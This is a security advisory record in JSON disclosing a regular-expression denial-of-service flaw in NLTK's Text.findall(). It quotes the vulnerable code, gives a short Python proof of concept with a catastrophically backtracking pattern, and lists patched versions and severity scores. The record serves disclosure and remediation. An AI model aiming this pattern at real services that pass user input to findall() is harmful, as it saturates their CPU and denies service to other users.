{"id":"GHSA-rrv8-h7p8-rx55","summary":" NLTK: ReDoS in nltk.text.Text.findall() via unvalidated user-supplied regular expressions","details":"### Summary\nNLTK's `Text.findall()` and `TokenSearcher.findall()` methods accept user-supplied regular expressions and pass them to the Python `re` engine without timeout or validation, enabling catastrophic backtracking (ReDoS). This issue is isolated to the `nltk.text` module and was resolved in a prior commit.\n\n### Affected Code\n`nltk/text.py` — `TokenSearcher.findall()` (line 255) / `Text.findall()` (line 620)\n\n`TokenSearcher.__init__` builds an internal string by wrapping each token in angle brackets. The `findall()` method preprocesses the caller-supplied regexp and runs it directly against this string with no timeout:\n\n```python\ndef findall(self, regexp):\n    # Preprocessing does NOT prevent catastrophic backtracking\n    regexp = re.sub(r\"\\s\", \"\", regexp)\n    regexp = re.sub(r\"\u003c\", \"(?:\u003c(?:\", regexp)\n    regexp = re.sub(r\"\u003e\", \")\u003e)\", regexp)\n    regexp = re.sub(r\"(?\u003c!\\\\)\\.\", \"[^\u003e]\", regexp)\n\n    # User-controlled regexp executed with no timeout\n    hits = re.findall(regexp, self._raw)\n```\nThe preprocessing transforms `\u003c` and `\u003e` angle-bracket syntax but does not inspect or reject catastrophically backtracking patterns.\n\n### Proof of Concept\n```python\nimport nltk\nimport time\n\n# Token of 25 'a' characters produces self._raw = \"\u003caaaaaaaaaaaaaaaaaaaaaaaa!\u003e\"\n# The trailing '!' ensures no match, forcing full backtracking.\ntext = nltk.Text([\"a\" * 25 + \"!\"])\n\n# Pattern after transformation:\n#   \u003c  →  (?:\u003c(?:\n#   \u003e  →  )\u003e)\n# Becomes: (?:\u003c(?:((a+)+)b)\u003e)\n# re.findall runs this against \"\u003caaaaaaaaaaaaaaaaaaaaaaaa!\u003e\" — hangs.\n\nstart = time.time()\ntext.findall(r\"\u003c((a+)+)b\u003e\")   # Never returns\n```\n\n### Impact\nApplications that expose `Text.findall()` to external input are vulnerable to a denial of service. An unauthenticated attacker can cause indefinite CPU saturation with one request, denying service to all other users of the Python process.\n\n### Remediation\nThis vulnerability was patched in commit `d8e4753`. Users should update to the patched version.\n\n### Credit\nTool: Kira by [Offgrid Security](https://www.offgridsec.com)","aliases":["CVE-2026-80205","PYSEC-2026-3750"],"modified":"2026-09-08T20:45:04.338061792Z","published":"2026-09-08T20:28:13Z","database_specific":{"severity":"HIGH","github_reviewed":true,"github_reviewed_at":"2026-09-08T20:28:13Z","nvd_published_at":null,"cwe_ids":["CWE-1333"]},"references":[{"type":"WEB","url":"https://github.com/nltk/nltk/security/advisories/GHSA-rrv8-h7p8-rx55"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-80205"},{"type":"WEB","url":"https://github.com/nltk/nltk/pull/3674"},{"type":"WEB","url":"https://github.com/nltk/nltk/commit/d8e47539317b571ab1422981f5b9653d5eae1249"},{"type":"PACKAGE","url":"https://github.com/nltk/nltk"},{"type":"WEB","url":"https://github.com/nltk/nltk/releases/tag/v3.10.0"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/nltk/PYSEC-2026-3750.yaml"},{"type":"WEB","url":"https://www.vulncheck.com/advisories/nltk-before-3.10.0-redos-via-text-findall-unvalidated-regex"},{"type":"WEB","url":"http://www.openwall.com/lists/oss-security/2026/09/01/3"}],"affected":[{"package":{"name":"nltk","ecosystem":"PyPI","purl":"pkg:pypi/nltk"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.10.0"}]}],"versions":["0.8","0.9","0.9.3","0.9.4","0.9.5","0.9.6","0.9.7","0.9.8","0.9.9","2.0.1","2.0.1rc1","2.0.1rc2-git","2.0.1rc3","2.0.1rc4","2.0.2","2.0.3","2.0.4","2.0.5","2.0b4","2.0b5","2.0b6","2.0b7","2.0b8","2.0b9","3.0.0","3.0.0b1","3.0.0b2","3.0.1","3.0.2","3.0.3","3.0.4","3.0.5","3.1","3.2","3.2.1","3.2.2","3.2.3","3.2.4","3.2.5","3.3","3.4","3.4.1","3.4.2","3.4.3","3.4.4","3.4.5","3.5","3.5b1","3.6","3.6.1","3.6.2","3.6.3","3.6.4","3.6.5","3.6.6","3.6.7","3.7","3.8","3.8.1","3.9","3.9.1","3.9.2","3.9.3","3.9.4","3.9b1"],"database_specific":{"last_known_affected_version_range":"\u003c= 3.9.4","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/09/GHSA-rrv8-h7p8-rx55/GHSA-rrv8-h7p8-rx55.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N"}]}